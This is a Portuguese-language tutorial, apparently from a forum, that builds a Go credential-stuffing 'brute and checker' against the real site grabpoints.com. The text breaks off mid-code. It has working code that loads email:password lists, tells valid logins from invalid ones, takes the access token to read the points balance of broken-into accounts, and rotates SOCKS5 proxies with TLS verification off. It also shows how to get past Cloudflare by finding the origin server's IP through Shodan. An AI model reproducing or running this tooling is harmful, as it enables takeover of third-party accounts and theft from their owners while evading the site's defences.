Estou feliz em recebê-lo de volta ao maravilhoso mundo de Go. No artigo anterior, começamos a aprender Go usando o exemplo de um analisador + verificador de proxy (que, aliás, será útil para nós) .
Aliás, se você está começando a aprender Go, além dos cursos que recomendei da última vez, posso acrescentar também o livro " Head First Go ". Principalmente se você gosta desse estilo, ele pode ser lido com o mínimo de conhecimento de programação e definitivamente tem uma vibração própria.
Também encontrei um canal maravilhoso em russo - https://www.youtube.com/@deferpanic
Primeiro você precisa entender o que são os programas Brute&Checker .
Brute é um programa para testar combinações de credenciais de contas potenciais em um site específico. O verificador é a parte onde verificamos determinadas informações que queremos receber da conta. É simples assim! Bem, vamos decompor o problema. As condições são as seguintes: existe um determinado serviço X e existem alguns dados de login potenciais (por exemplo, no formato email: senha).
O plano de trabalho é o seguinte:
Aprenda a fazer login em sua conta, processar o cenário de login bem-sucedido e login malsucedido e também registrar essas informações.
Receba informações de sua conta e exiba dados e informações de login bem-sucedido no console.
Adicione a capacidade de trabalhar por meio de um proxy.
Originalmente, planejei adicionar multithreading ao código também, mas quanto mais aprendia sobre rotinas em Go, mais percebia que queria aprofundar meu conhecimento e provavelmente incluir esse tópico em um artigo separado com exemplos. Embora os threads Go sejam mais simples do que outras linguagens de programação, há muito o que falar. Portanto, hoje veremos o design de verificadores brutos e, depois de ler o artigo, geralmente você poderá implementar esse programa sozinho. Também ficarei feliz em receber feedback, críticas, etc.
Por exemplo, pegaremos o site - grabpoints.com. A escolha do serviço é aleatória, porém, a julgar pela descrição, você pode obter cartões-presente e alguns pontos de bônus ao completar várias tarefas. Registre uma conta e comece.
Para entender melhor o que está acontecendo, antes de começar a trabalhar, é recomendável estudar o protocolo HTTP, por exemplo, assistindo a este excelente curso:

https://youtu.be/2JYT5f2isg4
(ou pelo menos entender em termos gerais o que é)
Também é aconselhável entender o que acontece após inserir o endereço no navegador:
https://youtu.be/x2j_fbTsQo8
https://youtu.be/ylG8_d9Qk1U

Abra o navegador, bem como o painel do desenvolvedor, no qual abrimos a aba Rede. Nossa tarefa é capturar a solicitação de login, depois entramos no site e analisamos o tráfego. Não existe uma maneira universal de capturar uma solicitação de autenticação, mas em geral seu nome provavelmente será algo como “login” e o método de solicitação quase sempre será POST. Nesse caso, vemos uma solicitação POST para login em https://api.grabpoints.com/login - o que precisamos. No momento, sugiro ir ao IDE e executar esta consulta usando o código Go.

https://forumupload.ru/uploads/001b/c9/09/2/t992435.png

package main

import (
    "bytes"
    "fmt"
    "io"
    "net/http"
)

func main() {
    url := "https://api.grabpoints.com/login"
    payload := []byte(`{
        "userName": "userName@gmail.com",
        "password": "password123"
    }`)

    req, err := http.NewRequest("POST", url, bytes.NewBuffer(payload))
    if err != nil {
        fmt.Println("Error creating request:", err)
        return
    }
    req.Header.Set("Content-Type", "application/vnd-v4.0+json")

    client := &http.Client{}
    resp, err := client.Do(req)
    if err != nil {
        fmt.Println("Error sending request:", err)
        return
    }
    defer resp.Body.Close()

    fmt.Println("Response Status:", resp.Status)
    body, err := io.ReadAll(resp.Body)
    if err != nil {
        fmt.Println("Error reading response:", err)
        return
    }
    fmt.Println("Response Body:", string(body))
}

Importamos os pacotes necessários. bytes é usado para manipular fatias de bytes e buffers, fmt para saída de console formatada, io para trabalhar com fluxos de E/S e net/http para trabalhar com solicitações HTTP. Defina a variável url. Vamos voltar à solicitação no navegador e dar uma olhada na janela Payload . A carga útil representa os dados que enviamos ao servidor. Eles são transmitidos neste caso como um objeto JSON. Você pode entender que estamos lidando com JSON observando o cabeçalho Content-Type na janela Cabeçalhos na guia Cabeçalhos de solicitação, mas em geral é bastante fácil de reconhecer. Copiamos os dados da solicitação e inicializamos a variável payload, que é uma fatia de bytes. Ele contém uma string semelhante a JSON que deve ser JSON válido! Colocamos os dados transmitidos lá. Uma nova solicitação HTTP é criada usando a função http.NewRequest() . Indicamos o tipo de solicitação (caso tenha esquecido, pode procurar no painel de desenvolvimento), o link, bem como o corpo da solicitação, que contém as informações de login. O cabeçalho "Content-Type" é definido (guia Cabeçalhos Cabeçalhos de solicitação). O primeiro argumento ( "Content-Type" ) é o nome do cabeçalho e o segundo argumento ( "application/vnd-v4.0+json" ) é o valor do cabeçalho. Um cliente HTTP é criado usando http.Client{} . Uma solicitação é feita ao servidor usando o método client.Do(req) . A resposta recebida e possíveis erros são armazenados nas variáveis ​​resp e err. Assim que a solicitação for concluída, o corpo da resposta é fechado usando defer resp.Body.Close(). Exibimos o status usando resp.Status , lemos o corpo e o convertemos em uma string usando io.ReadAll(resp.Body) e também o enviamos para o console. Verificamos o código e obtemos um maravilhoso status 403 Proibido, que não é nada do que queríamos.

https://forumupload.ru/uploads/001b/c9/09/2/t131496.png
Uma solução pode ser adicionar mais cabeçalhos à nossa solicitação:

package main

import (
    "bytes"
    "fmt"
    "io"
    "net/http"
)

func main() {
    url := "https://api.grabpoints.com/login"
    payload := []byte(`{
        "userName": "userName@gmail.com",
        "password": "password123"
    }`)

    req, err := http.NewRequest("POST", url, bytes.NewBuffer(payload))
    if err != nil {
        fmt.Println("Error creating request:", err)
        return
    }
    req.Header.Set("Content-Type", "application/vnd-v4.0+json")
    req.Header.Set("User-Agent", "Mozilla/5.0 (Linux; Android 6.0; Nexus 5 Build/MRA58N) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Mobile")
    req.Header.Set("Accept-Encoding", "gzip, deflate, br, zstd")
    req.Header.Set("Accept-Language", "en-US,en;q=0.9")
    req.Header.Set("Origin", "https://grabpoints.com/")
    req.Header.Set("Referer", "https://grabpoints.com/")

    client := &http.Client{}
    resp, err := client.Do(req)
    if err != nil {
        fmt.Println("Error sending request:", err)
        return
    }
    defer resp.Body.Close()

    fmt.Println("Response Status:", resp.Status)
    body, err := io.ReadAll(resp.Body)
    if err != nil {
        fmt.Println("Error reading response:", err)
        return
    }
    fmt.Println("Response Body:", string(body))
}

Em primeiro lugar, adiciono User-Agent - um cabeçalho usado para transmitir informações sobre o software (navegador, sistema operacional, etc.) que inicia a solicitação.
Para começar, você pode pegá-lo no navegador, no futuro será ótimo randomizar esse parâmetro. Também adiciono Accept-Encoding (provavelmente esse era o problema), Accept-Language, Origin e Referer.
Se por algum motivo a solicitação não for processada, adicione todos os cabeçalhos que você vê no navegador. Eu lanço e vejo o cobiçado status 200 OK:

https://forumupload.ru/uploads/001b/c9/09/2/t125192.png

Em seguida, precisamos definir os parâmetros de validação para autenticações bem-sucedidas e malsucedidas. Vamos voltar ao navegador e fazer uma solicitação com dados inválidos:

https://forumupload.ru/uploads/001b/c9/09/2/t833978.png

Basicamente, precisamos encontrar a diferença entre esses dois cenários, e noto vários ao mesmo tempo. Podemos verificar pelo código de status : 200 OK para resultados válidos, 401 Não autorizado para resultados inválidos e notificar imediatamente 403 para proxies inválidos para o futuro. Além disso, tal verificação nos dará um aumento de velocidade, mas sua desvantagem não será a maior confiabilidade, pois não conhecemos todos os cenários em que recebemos esses códigos de status, embora esta fosse uma opção válida. A propósito, os códigos de status não são realmente uma fonte confiável de verdade, no sentido de que são fornecidos pelo desenvolvedor, e uma autenticação bem-sucedida pode retornar, digamos, o código 444, e mesmo que poucas pessoas façam isso, não será tecnicamente ser um erro. A segunda opção é verificar o corpo da resposta . Pode demorar um pouco mais, mas é uma opção mais previsível. Tendo estudado cuidadosamente a resposta da autenticação bem-sucedida, cheguei à conclusão de que a validação usando a string " autoridades " é uma boa opção. Enquanto pensava, notei que a linha "credentialsNonExpired" : true indica que com 99,9% de probabilidade o site usa Java Spring MVC (um campo muito incomum em geral, e em quais cenários neste recurso pode ser falso é bastante difícil de imaginar). Para uma conta inválida, tudo é simples - “ credenciais incorretas ”, esta é toda a resposta que recebemos neste caso. Vamos voltar ao IDE.

package main

import (
    "bytes"
    "fmt"
    "io"
    "net/http"
    "strings"
)

func main() {
    url := "https://api.grabpoints.com/login"
   
    userName := "userName@gmail.com"
    password := "password123"

    payload := []byte(fmt.Sprintf(`{
        "userName": "%s",
        "password": "%s"
    }`, userName, password))

    req, err := http.NewRequest("POST", url, bytes.NewBuffer(payload))
    if err != nil {
        fmt.Println("Error creating request:", err)
        return
    }
    req.Header.Set("Content-Type", "application/vnd-v4.0+json")
    req.Header.Set("User-Agent", "Mozilla/5.0 (Linux; Android 6.0; Nexus 5 Build/MRA58N) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Mobile")
    req.Header.Set("Accept-Encoding", "gzip, deflate, br, zstd")
    req.Header.Set("Accept-Language", "en-US,en;q=0.9")
    req.Header.Set("Origin", "https://grabpoints.com/")
    req.Header.Set("Referer", "https://grabpoints.com/")

    client := &http.Client{}
    resp, err := client.Do(req)
    if err != nil {
        fmt.Println("Error sending request:", err)
        return
    }
    defer resp.Body.Close()

    fmt.Println("Response Status:", resp.Status)
    body, err := io.ReadAll(resp.Body)
    if err != nil {
        fmt.Println("Error reading response:", err)
        return
    }
    fmt.Println("Response Body:", string(body))

    if strings.Contains(string(body), "authorities") {
        fmt.Printf("%s:%s - success\n", userName, password)
    }

    if strings.Contains(string(body), "bad credentials") {
        fmt.Printf("%s:%s - fail\n", userName, password)
    }
}

Conectamos o pacote strings para trabalhar com strings de texto. Colocamos os valores userName e password em variáveis ​​​​e usamos fmt.Sprintf para formatação. strings.Contains(string(body), "authorities") verifica se a substring " authorities " está contida na variável body , em caso afirmativo, imprime uma mensagem de " sucesso " indicando o nome de usuário e senha que foram usados ​​para autenticação. Da mesma forma, a construção strings.Contains(string(body), "bad credenciais") verifica se a substring " bad credenciais " está contida no corpo da resposta e imprime uma mensagem " fail " se true .
A nossa próxima tarefa será escrever um verificador, nomeadamente obter informação sobre o número de pontos da conta. Voltemos aos pedidos. Após a autenticação bem-sucedida, uma solicitação é enviada para https://api.grabpoints.com/api/customer . Estudamos e encontramos na resposta informações sobre a quantidade de pontos, que é o que precisamos. Só primeiro notamos um novo parâmetro nos cabeçalhos da solicitação - X-Gp-Access-Token . Na verdade, tais pedidos não podem ser disponibilizados a ninguém; Mas onde podemos conseguir isso? Já temos isso. Durante a autenticação bem-sucedida, recebemos, entre outras coisas, um accessToken . É disso que precisamos. Portanto, para escrever um verificador, precisamos extrair o token do corpo da resposta após a autenticação, salvá-lo e passá-lo como cabeçalho na solicitação para https://api.grabpoints.com/api/customer . Em seguida, processe a resposta e obtenha as informações necessárias. Vamos voar para o VS Code.

if strings.Contains(string(body), "authorities") {
        fmt.Printf("%s:%s - success\n", userName, password)
        re := regexp.MustCompile(`"accessToken" : "([^"]+)"`)
        matches := re.FindStringSubmatch(string(body))
        if len(matches) >= 2 {
            accessToken := matches[1]
            fmt.Println("Access Token:", accessToken)
            urlPoints := "https://api.grabpoints.com/api/customer"
            req, err := http.NewRequest("GET", urlPoints, nil)
            if err != nil {
                fmt.Println("Error creating request:", err)
                return
            }

            req.Header.Set("Content-Type", "application/vnd-v4.0+json")
            req.Header.Set("User-Agent", "Mozilla/5.0 (Linux; Android 6.0; Nexus 5 Build/MRA58N) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Mobile")
            req.Header.Set("Accept-Encoding", "gzip, deflate, br, zstd")
            req.Header.Set("Accept-Language", "en-US,en;q=0.9")
            req.Header.Set("Origin", "https://grabpoints.com/")
            req.Header.Set("Referer", "https://grabpoints.com/")
            req.Header.Set("X-Gp-Access-Token", accessToken)

            client := &http.Client{}
            resp, err := client.Do(req)
            if err != nil {
                fmt.Println("Error sending request:", err)
                return
            }
            defer resp.Body.Close()

            fmt.Println("Response Status:", resp.Status)
            body, err := io.ReadAll(resp.Body)
            if err != nil {
                fmt.Println("Error reading response:", err)
                return
            }
            fmt.Println("Response Body:", string(body))
            if strings.Contains(string(body), "points") {
                re := regexp.MustCompile(`"points":\s*(\d+)`)
                match := re.FindStringSubmatch(string(body))
                if len(match) >= 2 {
                    points := match[1]
                    fmt.Println("Points:", points)
                }
            }
        } else {
            fmt.Println("Access Token not found in response")
        }
    }

Vamos escrever uma consulta como parte da verificação if strings.Contains(string(body), "authorities") . Primeiro, adicionamos o pacote regexp para trabalhar com expressões regulares. É assim que receberemos informações do órgão de resposta. re := regexp.MustCompile("accessToken" : "([^"]+)") Criamos uma nova expressão regular. O próprio token está entre aspas e ([^"]+) significa um ou mais caracteres que são não aspas duplas. matches := re.FindStringSubmatch(string(body)) - Este código procura todas as substrings no body que correspondem ao padrão de expressão regular re . A seguir verificamos se a expressão regular foi obtida: if len(matches) >= 2 { ... } (se não encontramos nenhuma correspondência, então len(matches) será igual a 1). Obtemos o token da primeira solicitação: accessToken := matches[1] Em seguida, fazemos exatamente a mesma solicitação para o segundo endpoint, adicionando o cabeçalho X-Gp-Access-Token com o token recebido. Após receber a resposta à segunda solicitação, exibimos o status da resposta e o corpo da resposta. Em seguida, verificamos se o corpo da resposta contém a string " points " usando strings.Contains() . Se sim, procuramos o número de pontos usando uma expressão regular e a exibimos. A expressão regular contém :\\s* , que corresponde a dois pontos que podem ser seguidos por qualquer número de caracteres de espaço em branco, \\d+ é um padrão que corresponde a um ou mais dígitos e (\\d+) é um grupo que captura o dígitos correspondentes. Ótimo, o verificador está pronto!
A seguir, proponho ensinar nosso aplicativo a acessar por meio de um proxy. Para fazer isso, vamos pegar o programa do artigo anterior sobre o analisador de proxy e encontrar um proxy. A propósito, podemos verificar o proxy diretamente no recurso para o qual estamos escrevendo um verificador bruto, mas eu não recomendo fazer isso - será muito barulhento. No entanto, você pode determinar definitivamente proxies válidos para o recurso. Vou usar o google.com para verificar.
Mas como podemos depurar o código se o site https://api.grabpoints.com não nos retorna o IP de onde foi feita a solicitação? Vamos tentar escrever o código para isso no site https://httpbin.org/ip .

package main

import (
    "crypto/tls"
    "fmt"
    "io"
    "net/http"
    "time"

    "golang.org/x/net/proxy"
)

const (
    ip   = "11.115.11.1"
    port = "27391"
)

func main() {
    dialer, err := proxy.SOCKS5("tcp", fmt.Sprintf("%s:%s", ip, port), nil, proxy.Direct)
    if err != nil {
        fmt.Println("Error while creating SOCKS5 proxy:", err)
        return
    }
   
    httpTransport := &http.Transport{
        Dial: dialer.Dial,
        TLSClientConfig: &tls.Config{InsecureSkipVerify: true},
    }

    client := &http.Client{
        Transport: httpTransport,
        Timeout:   5 * time.Second,
    }

    req, err := http.NewRequest("GET", "https://httpbin.org/ip", nil)
    if err != nil {
        fmt.Println("Error while creating a request:", err)
        return
    }
    resp, err := client.Do(req)
    if err != nil {
        fmt.Println("Error while making request:", err)
        return
    }
    defer resp.Body.Close()

    fmt.Println("Response Status:", resp.Status)
    body, err := io.ReadAll(resp.Body)
    if err != nil {
        fmt.Println("Error reading response:", err)
        return
    }
    fmt.Println("Response Body:", string(body))
}

Decidi começar trabalhando no SOCKS5. Este é essencialmente o código do artigo sobre proxies. Fazemos uma solicitação ao recurso e vemos nosso IP na resposta, entendemos que esse código funciona. Passamos para o projeto principal, implementando as mudanças.

package main

import (
    "bytes"
    "crypto/tls"
    "fmt"
    "io"
    "net/http"
    "strings"
    "time"

    "golang.org/x/net/proxy"
)

const (
    ip   = "11.115.11.1"
    port = "27391"
)
func main() {
    url := "https://api.grabpoints.com/login"

    userName := "userName@gmail.com"
    password := "password123"

    dialer, err := proxy.SOCKS5("tcp", fmt.Sprintf("%s:%s", ip, port), nil, proxy.Direct)
    if err != nil {
        fmt.Println("Error while creating SOCKS5 proxy:", err)
        return
    }
   
    payload := []byte(fmt.Sprintf(`{
        "userName": "%s",
        "password": "%s"
    }`, userName, password))

    httpTransport := &http.Transport{
        Dial: dialer.Dial,
        TLSClientConfig: &tls.Config{InsecureSkipVerify: true},

    }
    client := &http.Client{Transport: httpTransport,     Timeout:   5 * time.Second,}

    req, err := http.NewRequest("POST", url, bytes.NewBuffer(payload))
    if err != nil {
        fmt.Println("Error creating request:", err)
        return
    }
    req.Header.Set("Content-Type", "application/vnd-v4.0+json")
    req.Header.Set("User-Agent", "Mozilla/5.0 (Linux; Android 6.0; Nexus 5 Build/MRA58N) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Mobile")
    req.Header.Set("Accept-Encoding", "gzip, deflate, br, zstd")
    req.Header.Set("Accept-Language", "en-US,en;q=0.9")
    req.Header.Set("Origin", "https://grabpoints.com/")
    req.Header.Set("Referer", "https://grabpoints.com/")

   
    resp, err := client.Do(req)
    if err != nil {
        fmt.Println("Error sending request:", err)
        return
    }
    defer resp.Body.Close()

    fmt.Println("Response Status:", resp.Status)
    body, err := io.ReadAll(resp.Body)
    if err != nil {
        fmt.Println("Error reading response:", err)
        return
    }
    fmt.Println("Response Body:", string(body))

    if strings.Contains(string(body), "authorities") {
        fmt.Printf("%s:%s - success\n", userName, password)
    }

    if strings.Contains(string(body), "bad credentials") {
        fmt.Printf("%s:%s - fail\n", userName, password)
    }
}

Verificaremos na primeira solicitação de autenticação. Conectamos o pacote golang.org/x/net/proxy para trabalhar com proxies e crypto/tls para trabalhar com TLS. Colocamos a porta e o proxy em variáveis. Um cliente proxy é criado por meio da chamada proxy.SOCKS5(). Criamos um novo objeto http.Transport , que permite configurar parâmetros de transporte para solicitações HTTP . Dial: dialer.Dial : Define a função Dial, que determina como será estabelecida a conexão com o servidor. Neste caso, estamos configurando um cliente proxy. TLSClientConfig: &tls.Config{InsecureSkipVerify: true}: Esta é uma opção de configuração TLS que permite que a verificação do certificado do servidor seja ignorada ao estabelecer uma conexão segura. InsecureSkipVerify: true significa que o cliente não verificará a validade do certificado do servidor. Esta opção foi adicionada por mim devido ao erro " Certificado X.509 assinado por autoridade desconhecida ". Presumo que o proxy em si seja um honeypod e execute um ataque MITM (Man-in-the-Middle), substituindo o certificado do servidor pelo seu próprio. Isso não é totalmente normal em geral, mas é aceitável como exemplo. A seguir, criamos um novo cliente HTTP com um transporte configurado. Também adicionamos Timeout: 5 * time.Second . Se o servidor não responder dentro do tempo especificado, a solicitação será abortada e um erro será retornado. O resto permanece inalterado.
Ótimo, basicamente tudo está pronto. Vamos refatorar e dividir o código em funções.

package main

import (
    "bufio"
    "fmt"
    "log"
    "os"
    "strings"
)

const (
    proxyFile = "proxy.txt"
)

func main() {
    proxy, port, err := getProxy()
    if err != nil {
        log.Fatalf("Failed to get proxy: %v", err)
    }

    fmt.Printf("Proxy: %s\nPort: %s\n", proxy, port)

    err = returnProxy(proxy, port)
    if err != nil {
        log.Fatalf("Failed to return proxy: %v", err)
    }
}

func getProxy() (string, string, error) {
    file, err := os.Open(proxyFile)
    if err != nil {
        return "", "", fmt.Errorf("Failed to open proxy file: %v", err)
    }
    defer file.Close()

    var proxyInfo string
    scanner := bufio.NewScanner(file)
    if scanner.Scan() {
        proxyInfo = scanner.Text()
    } else {
        return "", "", fmt.Errorf("Proxy file is empty")
    }

    parts := strings.Split(proxyInfo, ":")
    if len(parts) != 2 {
        return "", "", fmt.Errorf("Invalid proxy format: %s", proxyInfo)
    }

    var remainingLines []string
    for scanner.Scan() {
        remainingLines = append(remainingLines, scanner.Text())
    }

    file.Close()

    file, err = os.Create(proxyFile)
    if err != nil {
        return "", "", fmt.Errorf("Failed to open proxy file for writing: %v", err)
    }
    defer file.Close()

    for _, line := range remainingLines {
        _, err := fmt.Fprintln(file, line)
        if err != nil {
            return "", "", fmt.Errorf("Failed to write remaining lines to proxy file: %v", err)
        }
    }

    return parts[0], parts[1], nil
}

func returnProxy(proxy, port string) error {
    file, err := os.OpenFile(proxyFile, os.O_APPEND|os.O_CREATE|os.O_WRONLY, 0644)
    if err != nil {
        return fmt.Errorf("Failed to open proxy file: %v", err)
    }
    defer file.Close()

    _, err = fmt.Fprintf(file, "%s:%s\n", proxy, port)
    if err != nil {
        return fmt.Errorf("Failed to write proxy to file: %v", err)
    }

    return nil
}

Vamos pensar em como podemos trabalhar com vários proxies. Devemos levar em consideração que precisamos utilizar proxies diferentes, também temos que deletar aqueles que apresentam erro e não podemos utilizar múltiplas solicitações no mesmo proxy ao mesmo tempo. Quero dizer que esta provavelmente não é a solução ideal do ponto de vista da otimização e ainda pensarei em como melhorá-la. Vamos adicionar duas funções - getProxy e returnProxy e verificar seu funcionamento dentro da função principal . Vamos adicionar vários novos pacotes - bufio para entrada/saída de dados em buffer, precisamos dele para leitura linha por linha de um arquivo usando o tipo Scanner , o pacote log para tratamento de erros mais competente (a principal diferença entre log.Fatalf e fmt .Errorf é que o primeiro finaliza o programa de execução, mas o segundo não). Criei um arquivo proxy.txt , ele contém proxies no formato - ip:port, vamos definir uma constante proxyFile com o nome do arquivo. Temos que pegar a primeira linha do arquivo, pegar um proxy e salvar o resto. file, err := os.Open(proxyFile) : Abre o arquivo proxy.txt para leitura. scanner := bufio.NewScanner(file) : Cria um novo Scanner . Verifica se foi possível ler pelo menos uma linha do arquivo. Se o arquivo estiver vazio, um erro será retornado. A linha lida é armazenada na variável proxyInfo . A sequência proxyInfo é dividida por dois pontos para obter o endereço e a porta do proxy. A seguir, verificamos se a string contém duas partes. As linhas restantes do arquivo são varridas e adicionadas à fatia restantesLinhas . Fechamos o arquivo para que ele possa ser sobrescrito. file, err = os.Create(proxyFile) : O arquivo proxy.txt é aberto para gravação. Todas as linhas restantes no arquivo são gravadas. return parts[0], parts[1], nil : Retorna o endereço do proxy, porta e nil para indicar a conclusão bem-sucedida da função. Se algo der errado em qualquer estágio, um erro será retornado com uma mensagem apropriada.
Depois de pegarmos o proxy e fazermos a solicitação com sucesso, queremos devolvê-lo ao arquivo bem no final, isso é feito pela função returnProxy() . Abra o arquivo proxy.txt para gravação. Os sinalizadores os.O_APPEND e os.O_CREATE garantem que novas informações sejam anexadas ao final do arquivo em vez de substituí-las. A flag os.O_WRONLY indica que o arquivo será aberto apenas para gravação. Argumento 0644define direitos de acesso a arquivos. Usando a função Fprintf , registramos informações. Se a gravação for bem-sucedida, a função retornará nil , o que significa que não houve erro. Verificamos as funções em main() e entendemos que tudo funciona.

package main

import (
    "bufio"
    "fmt"
    "log"
    "os"
    "strings"
)

const (
    proxyFile = "proxy.txt"
    accountFile = "forCheck.txt"

)

func main() {

    email, password, err := getAccount()
    if err != nil {
        log.Fatalf("Failed to get account: %v", err)
    }

    fmt.Printf("Email: %s\nPassword: %s\n", email, password)

}

func getAccount() (string, string, error) {
    file, err := os.Open(accountFile)
    if err != nil {
        return "", "", fmt.Errorf("Failed to open account file: %v", err)
    }
    defer file.Close()

   
    var accountInfo string
    scanner := bufio.NewScanner(file)
    if scanner.Scan() {
        accountInfo = scanner.Text()
    } else {
        return "", "", fmt.Errorf("Account file is empty")
    }

    parts := strings.Split(accountInfo, ":")
    if len(parts) != 2 {
        return "", "", fmt.Errorf("Invalid account format: %s", accountInfo)
    }

    var remainingLines []string
    for scanner.Scan() {
        remainingLines = append(remainingLines, scanner.Text())
    }

    file.Close()

    file, err = os.Create(accountFile)
    if err != nil {
        return "", "", fmt.Errorf("Failed to open account file for writing: %v", err)
    }
    defer file.Close()

    for _, line := range remainingLines {
        _, err := fmt.Fprintln(file, line)
        if err != nil {
            return "", "", fmt.Errorf("Failed to write remaining lines to account file: %v", err)
        }
    }

    return parts[0], parts[1], nil
}

Também precisamos implementar uma função para obter contas. O formato das contas será exatamente o mesmo do proxy, exceto que serão usados ​​​​dois pontos para separar os parâmetros de e-mail e senha. Adicionamos uma nova constante accountFile com o valor " forCheck.txt ". Primeiro, criamos um arquivo com este nome e colocamos as contas lá para verificação. A lógica da função getAccount() é exatamente a mesma da função getProxy() , exceto que funciona com um arquivo diferente.
Minha ideia de implementação é a seguinte: na função principal pegamos a conta e passamos para a função checkAuth, que retorna códigos de status pelos quais podemos posteriormente processar o resultado. O fato é que podemos usar vários proxies para uma conta, portanto receberemos proxies na função de verificação de autenticação, e a verificação em si ocorrerá em um loop, onde o número de iterações será limitado pela variável i. Se uma conta foi obtida por, digamos, mais de 50 proxies, então algo está claramente errado. De volta ao código:

func main() {
    userName, password, err := getAccount()
    if err != nil {
        log.Fatalf("Failed to get account: %v", err)
    }

    fmt.Printf("Email: %s\nPassword: %s\n", userName, password)

    statusCode, err := checkAuth(userName, password)
    if err != nil {
        log.Fatalf("Failed to check account: %v", err)
    }
    log.Printf("Status code: %d", statusCode)

}

func checkAuth(userName, password string) (int, error) {
    for i := 0; i < 5; i++ {

        ip, port, err := getProxy()
        if err != nil {
            return 0, fmt.Errorf("failed to get proxy: %v", err)
        }

        fmt.Printf("Proxy: %s\nPort: %s\n", ip, port)

        dialer, err := proxy.SOCKS5("tcp", fmt.Sprintf("%s:%s", ip, port), nil, proxy.Direct)
        if err != nil {
            fmt.Printf("Error while creating SOCKS5 proxy: %v\n", err)
            continue
        }
        fmt.Printf("Email: %s\nPassword: %s\n", userName, password)
        payload := []byte(fmt.Sprintf(`{
            "userName": "%s",
            "password": "%s"
        }`, userName, password))

        httpTransport := &http.Transport{
            Dial:            dialer.Dial,
            TLSClientConfig: &tls.Config{InsecureSkipVerify: true},
        }
        client := &http.Client{Transport: httpTransport, Timeout: requestTimeout}

        req, err := http.NewRequest("POST", urlAuth, bytes.NewBuffer(payload))
        if err != nil {
            fmt.Printf("Error creating request: %v\n", err)
            continue
        }
        req.Header.Set("Content-Type", "application/vnd-v4.0+json")
        req.Header.Set("User-Agent", "Mozilla/5.0 (Linux; Android 6.0; Nexus 5 Build/MRA58N) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Mobile")
        req.Header.Set("Accept-Encoding", "gzip, deflate, br, zstd")
        req.Header.Set("Accept-Language", "en-US,en;q=0.9")
        req.Header.Set("Origin", "https://grabpoints.com/")
        req.Header.Set("Referer", "https://grabpoints.com/")

        resp, err := client.Do(req)
        if err != nil {
            fmt.Printf("Error sending request: %v\n", err)
            continue
        }
        defer resp.Body.Close()

        fmt.Println("Response Status:", resp.Status)
        body, err := io.ReadAll(resp.Body)
        if err != nil {
            fmt.Printf("Error reading response: %v\n", err)
            continue
        }
        fmt.Println("Response Body:", string(body))
        if strings.Contains(string(body), "bad credentials") {
            err = returnProxy(ip, port)
            if err != nil {
                fmt.Printf("Failed to return proxy: %v", err)
            }
            fmt.Printf("%s:%s - fail\n", userName, password)
            return 1, nil
        }
    }

    fmt.Println("The maximum number of attempts has been reached.")
    return 10, nil
}

Na própria função main , passamos checkAuth o userName recebido (durante a refatoração alterei esse parâmetro, nos exemplos acima era email) e a senha de getAccount (). Vamos escrever um rascunho de getAccount(). Vamos implementar o ciclo. Dentro do loop chamamos a função getProxy() . O código a seguir repete a implementação anterior. Tratamos os erros, com exceção da impossibilidade de obter um proxy, com a instrução continue , que dá continuidade à execução do loop, passando para a próxima iteração. 0 - status para erros, 1 - bem-sucedido, 10 se excedemos o limite de proxy para uma conta. No momento estou testando dados inválidos e temos que entrar no bloco if strings.Contains(string(body), "bad credenciais") , no qual geramos dados sobre a conta inválida, retornamos um proxy válido de volta para o arquivo e retorne 1, saindo da função. Verificamos e entendemos que o site usa Cloudflare . Para ser sincero, inicialmente não entendi isso e, por algum motivo, tinha certeza de que Cloudflare não estava no site, mas planejei considerar isso na terceira/quarta parte do artigo. Mas ele ainda está aqui.

https://forumupload.ru/uploads/001b/c9/09/2/t603269.png

Cloudflare é uma proteção que, entre outras coisas, pode se tornar um obstáculo para escrever um verificador bruto, já que nossa atividade parece suspeita e não dá acesso a ele. Essencialmente, ele atua como um espaçador entre o recurso e nós, e simplesmente elimina as solicitações, impedindo-nos de chegar ao site. O que fazer? Procure um desvio. É importante entender que ao acessarmos o domínio, não chegamos ao endereço IP do site, mas sim ao endereço IP da Cloudflare, que esconde o IP principal. Se você ler o fórum, descobrirá muitas soluções alternativas possíveis. Existem serviços como o Shodan que podem nos ajudar. Escrevi sobre um deles em uma revisão - Fofa , mas se você quiser saber mais sobre o Shodan em si, pesquise no fórum por “ Advanced Shodan Guide ” ou acesse a sala TryHackMe - Shodan .
Vá para Shodan e digite o domínio na barra de pesquisa.

https://forumupload.ru/uploads/001b/c9/09/2/t592475.png

Ops, sim, vemos o endereço IP real do recurso. O próprio GrabPoints está localizado em 8085, mas quando você tenta acessar http://208.99.80.238:8085/login nada de útil resultará disso. O fato é que a API está em uma porta diferente. Vamos passar por todos os portos que vemos em Shodan. Vamos primeiro acessar https://api.grabpoints.com/login para entender qual resultado queremos obter. Enquanto procuramos a API, encontramos https://freecryptorewards.com/ na porta 8500. Passamos por vários oops http://208.99.80.238:8081/login - é disso que precisamos. Definimos o valor do endereço encontrado para a variável urlAuth e ignoramos o Cloudflare com sucesso! Viva!
Em geral, a versão final do Brute ficará assim:

package main

import (
    "bufio"
    "bytes"
    "crypto/tls"
    "fmt"
    "io"
    "log"
    "net/http"
    "os"
    "strings"
    "time"

    "golang.org/x/net/proxy"
)

const (
    proxyFile      = "proxy.txt"
    accountFile    = "forCheck.txt"
    urlAuth        = "http://208.99.80.238:8081/login"
    requestTimeout = 5 * time.Second
)

func main() {
    userName, password, err := getAccount()
    if err != nil {
        log.Fatalf("Failed to get account: %v", err)
    }

    fmt.Printf("Email: %s\nPassword: %s\n", userName, password)

    statusCode, err := checkAuth(userName, password)
    if err != nil {
        log.Fatalf("Failed to check account: %v", err)
    }
    log.Printf("Status code: %d", statusCode)

}

func getProxy() (string, string, error) {
    file, err := os.Open(proxyFile)
    if err != nil {
        return "", "", fmt.Errorf("failed to open proxy file: %v", err)
    }
    defer file.Close()

    var proxyInfo string
    scanner := bufio.NewScanner(file)
    if scanner.Scan() {
        proxyInfo = scanner.Text()
    } else {
        return "", "", fmt.Errorf("proxy file is empty")
    }

    parts := strings.Split(proxyInfo, ":")
    if len(parts) != 2 {
        return "", "", fmt.Errorf("invalid proxy format: %s", proxyInfo)
    }

    var remainingLines []string
    for scanner.Scan() {
        remainingLines = append(remainingLines, scanner.Text())
    }

    file.Close()

    file, err = os.Create(proxyFile)
    if err != nil {
